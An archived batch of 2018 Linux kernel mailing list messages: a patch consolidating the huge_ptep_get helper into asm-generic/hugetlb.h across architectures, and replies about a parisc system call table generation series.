Message-ID: <20180920060358.16606-12-alex@ghiti.fr>
References: <20180920060358.16606-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1537424072 23166 195.159.176.226 (20 Sep 2018 06:14:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 20 Sep 2018 06:14:32 +0000 (UTC)
Cc: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org, Alexandre Ghiti <alex@ghiti.fr>
To: akpm@linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 20 08:14:25 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g2sEJ-0003Rl-KX
	for glk-linux-kernel-4@m.gmane.org; Thu, 20 Sep 2018 08:14:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1731851AbeITL6S (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 20 Sep 2018 07:58:18 -0400
Original-Received: from relay6-d.mail.gandi.net ([217.70.183.198]:43435 "EHLO
        relay6-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1725725AbeITL6S (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 20 Sep 2018 07:58:18 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay6-d.mail.gandi.net (Postfix) with ESMTPSA id 2F896C000D;
        Thu, 20 Sep 2018 06:16:22 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180920060358.16606-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2876073 gmane.linux.kernel.mm:203586 gmane.linux.ports.arm.kernel:675051 gmane.linux.ports.ia64:29260 gmane.linux.ports.mips.general:66746 gmane.linux.ports.parisc:28987 gmane.linux.ports.ppc64.devel:162765 gmane.linux.ports.sh.devel:57535 gmane.linux.ports.sparc:28457 gmane.linux.kernel.cross-arch:46631
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2876073>

ia64, mips, parisc, powerpc, sh, sparc, x86 architectures use the
same version of huge_ptep_get, so move this generic implementation into
asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Tested-by: Helge Deller <deller@gmx.de> # parisc
Acked-by: Catalin Marinas <catalin.marinas@arm.com> # arm64
Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts
Acked-by: Ingo Molnar <mingo@kernel.org> # x86
Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb-3level.h | 1 +
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 5 -----
 arch/mips/include/asm/hugetlb.h       | 5 -----
 arch/parisc/include/asm/hugetlb.h     | 5 -----
 arch/powerpc/include/asm/hugetlb.h    | 5 -----
 arch/sh/include/asm/hugetlb.h         | 5 -----
 arch/sparc/include/asm/hugetlb.h      | 5 -----
 arch/x86/include/asm/hugetlb.h        | 5 -----
 include/asm-generic/hugetlb.h         | 7 +++++++
 10 files changed, 9 insertions(+), 35 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index 54e4b097b1f5..0d9f3918fa7e 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -29,6 +29,7 @@
  * ptes.
  * (The valid bit is automatically cleared by set_pte_at for PROT_NONE ptes).
  */
+#define __HAVE_ARCH_HUGE_PTEP_GET
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	pte_t retval = *ptep;
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 80887abcef7f..fb6609875455 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -20,6 +20,7 @@
 
 #include <asm/page.h>
 
+#define __HAVE_ARCH_HUGE_PTEP_GET
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	return READ_ONCE(*ptep);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index e9b42750fdf5..36cc0396b214 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -27,11 +27,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 120adc3b2ffd..425bb6fc3bda 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -82,11 +82,6 @@ static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 	return changed;
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 165b4e5a6f32..7cb595dcb7d7 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -48,11 +48,6 @@ int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty);
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index d4d9cf6cb846..383da1ab9e23 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -139,11 +139,6 @@ extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index c87195ae0cfa..6f025fe18146 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -32,11 +32,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 028a1465fbe7..3963f80d1cb3 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -53,11 +53,6 @@ static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 	return changed;
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 574d42eb081e..7469d321f072 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -13,11 +13,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index f3c99a03ee83..71d7b77eea50 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -119,4 +119,11 @@ static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_GET
+static inline pte_t huge_ptep_get(pte_t *ptep)
+{
+	return *ptep;
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038
Subject: Re: [PATCH 0/4] System call table generation support
Date: Sun, 23 Sep 2018 21:48:13 +0200
Lines: 90
Approved: news@gmane.org
Message-ID: <844186da-0900-3c50-31f4-8600581b5675@gmx.de>
References: <1536913603-4584-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1537731980 333 195.159.176.226 (23 Sep 2018 19:46:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 23 Sep 2018 19:46:20 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        marcin.juszkiewicz@linaro.org
To: Firoz Khan <firoz.khan@linaro.org>, linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Sep 23 21:46:15 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g4AKb-00057S-VP
	for glk-linux-kernel-4@m.gmane.org; Sun, 23 Sep 2018 21:46:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727124AbeIXBrC (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 23 Sep 2018 21:47:02 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:45313 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726302AbeIXBrB (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 23 Sep 2018 21:47:01 -0400
Original-Received: from [192.168.20.60] ([92.116.133.205]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MJjOu-1g33tq0G3A-0016FV; Sun, 23
 Sep 2018 21:48:14 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <1536913603-4584-1-git-send-email-firoz.khan@linaro.org>
Content-Language: en-US
X-Provags-ID: V03:K1:yd1sUQjY7F4fqBHvQRW6n1huTeksu9NeImWXz4RhwIwEtW/dFXf
 9Ks90PfQyp6GPv+gLP5AyuQ6QtBCjJcXMTlTdeYGDK+XihvC2o02r6apd05IOQlzqNioTCt
 Mj42C7t/tZ074V3mxydWzCoeCT/7PXHXhXpMyU9ijs4DDkkDMDAgjDOJYmdleL0m45Z/vX7
 2GW/2o5ONMDPvZeGsl7FQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:qsNgqpjHM3w=:kHcdAcNhbYkYXcApX8zD+E
 oo+be2BlAKxDaLuJxXKrDIraYSkxImQxniCklxHHDRrO2EqPiIpcYuI/WUSaBPs2uIlES77EV
 ExSwt2g9XVE67YfJ1R506iqp1/at/JorzB45Y8rm/vYxTyqjTxafKXmA2ThlrDtymtAypHpps
 R0sksEzU4dJJk/aqiVi0X2SxMFPd8Cm3tz8krzYlPy2vfP40TzGxLucdGYRWXTEoK9YcxltR4
 ZfrfxK1mhSEOm63W1ElCJTw2r6nDjLEjFePvbOs1fJ3EoHNjr0BwqxUWjS6/oYihdWCOpAKKV
 qnOgPFHykCoH745QObFx8k+DcnHvzoVqc24EbzEj2kx7snFoiDNLv/ZLfV/dxOBBQqXvpCiSc
 OBAEpOfUZry4Z30Uk7m41JIQW7p6XT+S/5s5SDEikO1w58NO1L/CpHHvECu1Gceh6ll70y7AO
 PzziGSi/Ag8rJSFvRmwu8JGfhEHI8U7vg1IYUPPvrTlYYY2HgVm2muelYde6Do3sbxbjZ4VZQ
 UXGCBlZ2c6zDfSsUV+lM3Obb4r7aHO5Eo2/eCdB0Tmq58TLPlBQf4sKgkh5gurJh6SF9gjTwx
 EBK3BOyIJBy/Qu2H3zVaFqtgMRiwsddxKtYIbw+3hn/n2HFd4qbrM66KiHS8xO0i2oF2+Zrjb
 BRaYR1YWnqCsgY6d4x6FbHHWeN+Rjh1bn6hPviEYkcXe+QJPHxCcJkHjyWYRIUeEfapjCZhQp
 ebu9kOkItI6G3Wj/wh//dRFq2+YSx6cTBUF9o3tfTN/wRY76U8XN3SezwPiUZ1uIYjDvVTeg 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2878655 gmane.linux.ports.parisc:28988 gmane.linux.kernel.year-2038:3385
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2878655>

Hi Firoz,

On 14.09.2018 10:26, Firoz Khan wrote:
> The purpose of this patch series is:
> 1. We can easily add/modify/delete system call by changing entry 
> in syscall.tbl file. No need to manually edit many files.
> 
> 2. It is easy to unify the system call implementation across all 
> the architectures. 

I like the idea.
 
> The system call tables are in different format in all architecture 
> and it will be difficult to manually add or modify the system calls
> in the respective files manually. To make it easy by keeping a script 
> and which'll generate the header file and syscall table file so this 
> change will unify them across all architectures.
> 
> syscall.tbl contains the list of available system calls along with 
> system call number and corresponding entry point. Add a new system 
> call in this architecture will be possible by adding new entry in 
> the syscall.tbl file.
> 
> Adding a new table entry consisting of:
>         - System call number.
>         - ABI.
>         - System call name.
>         - Entry point name.
>         - Compat entry name, if required.
> 
> ARM, s390 and x86 architecuture does exist the similar support. I 
> leverage their implementation to come up with a generic solution.
> 
> I have done the same support for work for alpha, m68k, microblaze, 
> ia64, mips, powerpc, sh, sparc, and xtensa. But I started sending 
> the patch for one architecuture for review. Below mentioned git
> repository contains more details.
> Git repo:- https://github.com/frzkhn/system_call_table_generator/
> 
> Finally, this is the ground work for solving the Y2038 issue. We 
> need to add/change two dozen of system calls to solve Y2038 issue. 
> So this patch series will help to easily modify from existing 
> system call to Y2038 compatible system calls.
> 
> I started working system call table generation on 4.17-rc1. I used 
> marcin's script - https://github.com/hrw/syscalls-table to generate 
> the syscall.tbl file. And this will be the input to the system call 
> table generation script. But there are couple system call got add 
> in the latest rc release. If run Marcin's script on latest release,
> It will generate a new syscall.tbl. But I still use the old file - 
> syscall.tbl and once all review got over I'll update syscall.tbl 
> alone w.r.to the tip of the kernel. The impact of this thing, few 
> of the system call won't work. 
> 
> Firoz Khan (4):
>   parisc: Move __IGNORE* entries to non uapi header
>   parisc: Replace __NR_Linux_syscalls macro with __NR_syscalls
>   parisc: Add system call table generation support
>   parisc: uapi header and system call table file generation
> 
>  arch/parisc/Makefile                       |   4 +
>  arch/parisc/include/asm/Kbuild             |   3 +
>  arch/parisc/include/asm/unistd.h           |   8 +
>  arch/parisc/include/uapi/asm/Kbuild        |   2 +
>  arch/parisc/include/uapi/asm/unistd.h      | 377 +----------------------
>  arch/parisc/kernel/syscall.S               |  14 +-
>  arch/parisc/kernel/syscall_table.S         | 459 -----------------------------
>  arch/parisc/kernel/syscall_table_32.S      |  11 +
>  arch/parisc/kernel/syscall_table_64.S      |  19 ++
>  arch/parisc/kernel/syscalls/Makefile       |  52 ++++
>  arch/parisc/kernel/syscalls/syscall_32.tbl | 358 ++++++++++++++++++++++
>  arch/parisc/kernel/syscalls/syscall_64.tbl | 357 ++++++++++++++++++++++
>  arch/parisc/kernel/syscalls/syscallhdr.sh  |  38 +++
>  arch/parisc/kernel/syscalls/syscalltbl.sh  |  36 +++
>  14 files changed, 896 insertions(+), 842 deletions(-)
>  delete mode 100644 arch/parisc/kernel/syscall_table.S
>  create mode 100644 arch/parisc/kernel/syscall_table_32.S
>  create mode 100644 arch/parisc/kernel/syscall_table_64.S
>  create mode 100644 arch/parisc/kernel/syscalls/Makefile
>  create mode 100644 arch/parisc/kernel/syscalls/syscall_32.tbl
>  create mode 100644 arch/parisc/kernel/syscalls/syscall_64.tbl
>  create mode 100644 arch/parisc/kernel/syscalls/syscallhdr.sh
>  create mode 100644 arch/parisc/kernel/syscalls/syscalltbl.sh

Your parisc patches don't apply any longer.
If you update them (with the feedback given by others), I'm happy
to test your patch again on parisc.

Helge


From - Thu Nov 08 21:41:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038
Subject: Re: [PATCH 0/4] System call table generation support
Date: Mon, 24 Sep 2018 09:43:49 +0530
Lines: 101
Approved: news@gmane.org
Message-ID: <CALxhOnhrV0LSecZUdFghkpsTFhymo+kdC0dkzSNjp-NpeSE+_w@mail.gmail.com>
References: <1536913603-4584-1-git-send-email-firoz.khan@linaro.org> <844186da-0900-3c50-31f4-8600581b5675@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1537762324 2675 195.159.176.226 (24 Sep 2018 04:12:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 24 Sep 2018 04:12:04 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Sep 24 06:11:59 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g4IE2-0000XK-MP
	for glk-linux-kernel-4@m.gmane.org; Mon, 24 Sep 2018 06:11:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727417AbeIXKOJ (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 24 Sep 2018 06:14:09 -0400
Original-Received: from mail-yb1-f195.google.com ([209.85.219.195]:36931 "EHLO
        mail-yb1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726749AbeIXKOJ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 24 Sep 2018 06:14:09 -0400
Original-Received: by mail-yb1-f195.google.com with SMTP id b3-v6so6692605yba.4
        for <linux-kernel@vger.kernel.org>; Sun, 23 Sep 2018 21:14:01 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=7//bqKE84Z2MviYncmM13zh3BW1/jAQtQzq3NNsTVxo=;
        b=khq4LEQHtfv4GMfwtzdCovL14xHq4in0QdRvgKulp7hYkM5gwF7YzPOvhAtIiBdZPZ
         5wYBGxnBLreskANN+fAmC5dxnHyaBFN1CGDQrLTLBNtrhN55oOQBCoiaKU+TX2/xDDwZ
         VHOkgiL1S9QBsMWQsnrbVwytNxobGT05Rf8PM=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=7//bqKE84Z2MviYncmM13zh3BW1/jAQtQzq3NNsTVxo=;
        b=Lu0Vj8EJHmwRB5Rp2vMa26colPfOEfJN+UzdnAGDO0m+XlQG97zeRXOAYq/Q4K1R7L
         Rv0rh9HWZwUYfloTteiilvhA4HlIHbiF+MGCevW0JurDwJwv2YZdIb3UM/vnu995v0Cb
         NP10wfYejXqZKdmfKGQqccETWGTjxeUmOGy2ExNi8kOOZAfumWfhWX/fLB3W1q9mKdgu
         wrHtZTOOSdg0hFAUX/jJzO5qpL/NRzzsjVrf769AyBe0PE/YEhhPFGVbYwMnFB3F3S9w
         iNALiODb9hqmH6wnslDs4ix5rlSqPwmJ7zTmdMQiqvZuT/hr2MV/LXDgplxWOiERiWqO
         lhGQ==
X-Gm-Message-State: ABuFfojk+sQJgEvnqbtDTXibsBq2EA4cX+x3veyOvhvOP74J4r6sJR5I
        y7R2IuTTC3DlvKixldz7pD5r+2MSD0+dXkc9KpHCFDz9
X-Google-Smtp-Source: ACcGV61YSi6wEc2Ly3GdM0ZFQ1nJmAvg6JDYevZDceWI/LL4qp0dSoscuslpsE/zvkok3g+7XLqi5eYZ+TRjWBtfoHc=
X-Received: by 2002:a25:a063:: with SMTP id x90-v6mr4017196ybh.174.1537762440611;
 Sun, 23 Sep 2018 21:14:00 -0700 (PDT)
In-Reply-To: <844186da-0900-3c50-31f4-8600581b5675@gmx.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2878740 gmane.linux.ports.parisc:28989 gmane.linux.kernel.year-2038:3388
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2878740>

Hi Helge,

On Mon, 24 Sep 2018 at 01:18, Helge Deller <deller@gmx.de> wrote:
>
> Hi Firoz,
>
> On 14.09.2018 10:26, Firoz Khan wrote:
> > The purpose of this patch series is:
> > 1. We can easily add/modify/delete system call by changing entry
> > in syscall.tbl file. No need to manually edit many files.
> >
> > 2. It is easy to unify the system call implementation across all
> > the architectures.
>
> I like the idea.
>
> > The system call tables are in different format in all architecture
> > and it will be difficult to manually add or modify the system calls
> > in the respective files manually. To make it easy by keeping a script
> > and which'll generate the header file and syscall table file so this
> > change will unify them across all architectures.
> >
> > syscall.tbl contains the list of available system calls along with
> > system call number and corresponding entry point. Add a new system
> > call in this architecture will be possible by adding new entry in
> > the syscall.tbl file.
> >
> > Adding a new table entry consisting of:
> >         - System call number.
> >         - ABI.
> >         - System call name.
> >         - Entry point name.
> >         - Compat entry name, if required.
> >
> > ARM, s390 and x86 architecuture does exist the similar support. I
> > leverage their implementation to come up with a generic solution.
> >
> > I have done the same support for work for alpha, m68k, microblaze,
> > ia64, mips, powerpc, sh, sparc, and xtensa. But I started sending
> > the patch for one architecuture for review. Below mentioned git
> > repository contains more details.
> > Git repo:- https://github.com/frzkhn/system_call_table_generator/
> >
> > Finally, this is the ground work for solving the Y2038 issue. We
> > need to add/change two dozen of system calls to solve Y2038 issue.
> > So this patch series will help to easily modify from existing
> > system call to Y2038 compatible system calls.
> >
> > I started working system call table generation on 4.17-rc1. I used
> > marcin's script - https://github.com/hrw/syscalls-table to generate
> > the syscall.tbl file. And this will be the input to the system call
> > table generation script. But there are couple system call got add
> > in the latest rc release. If run Marcin's script on latest release,
> > It will generate a new syscall.tbl. But I still use the old file -
> > syscall.tbl and once all review got over I'll update syscall.tbl
> > alone w.r.to the tip of the kernel. The impact of this thing, few
> > of the system call won't work.
> >
> > Firoz Khan (4):
> >   parisc: Move __IGNORE* entries to non uapi header
> >   parisc: Replace __NR_Linux_syscalls macro with __NR_syscalls
> >   parisc: Add system call table generation support
> >   parisc: uapi header and system call table file generation
> >
> >  arch/parisc/Makefile                       |   4 +
> >  arch/parisc/include/asm/Kbuild             |   3 +
> >  arch/parisc/include/asm/unistd.h           |   8 +
> >  arch/parisc/include/uapi/asm/Kbuild        |   2 +
> >  arch/parisc/include/uapi/asm/unistd.h      | 377 +----------------------
> >  arch/parisc/kernel/syscall.S               |  14 +-
> >  arch/parisc/kernel/syscall_table.S         | 459 -----------------------------
> >  arch/parisc/kernel/syscall_table_32.S      |  11 +
> >  arch/parisc/kernel/syscall_table_64.S      |  19 ++
> >  arch/parisc/kernel/syscalls/Makefile       |  52 ++++
> >  arch/parisc/kernel/syscalls/syscall_32.tbl | 358 ++++++++++++++++++++++
> >  arch/parisc/kernel/syscalls/syscall_64.tbl | 357 ++++++++++++++++++++++
> >  arch/parisc/kernel/syscalls/syscallhdr.sh  |  38 +++
> >  arch/parisc/kernel/syscalls/syscalltbl.sh  |  36 +++
> >  14 files changed, 896 insertions(+), 842 deletions(-)
> >  delete mode 100644 arch/parisc/kernel/syscall_table.S
> >  create mode 100644 arch/parisc/kernel/syscall_table_32.S
> >  create mode 100644 arch/parisc/kernel/syscall_table_64.S
> >  create mode 100644 arch/parisc/kernel/syscalls/Makefile
> >  create mode 100644 arch/parisc/kernel/syscalls/syscall_32.tbl
> >  create mode 100644 arch/parisc/kernel/syscalls/syscall_64.tbl
> >  create mode 100644 arch/parisc/kernel/syscalls/syscallhdr.sh
> >  create mode 100644 arch/parisc/kernel/syscalls/syscalltbl.sh
>
> Your parisc patches don't apply any longer.
> If you update them (with the feedback given by others), I'm happy
> to test your patch again on parisc.

Sure. Thanks for your support!
I planned to post few other things within couple of days.
Hopefully I can update parisc patches this week!

- Firoz

>
> Helge


From - Thu Nov 08 21:41:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.ports.parisc
Subject: Re: [RFC] parisc64: change __kernel_suseconds_t to match glibc
Date: Tue, 25 Sep 2018 12:53:11 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <CAK8P3a1WT87CFyz7457R_cx=ueVjG+xUWXAA6SSw+C4ZnaZHVw@mail.gmail.com>
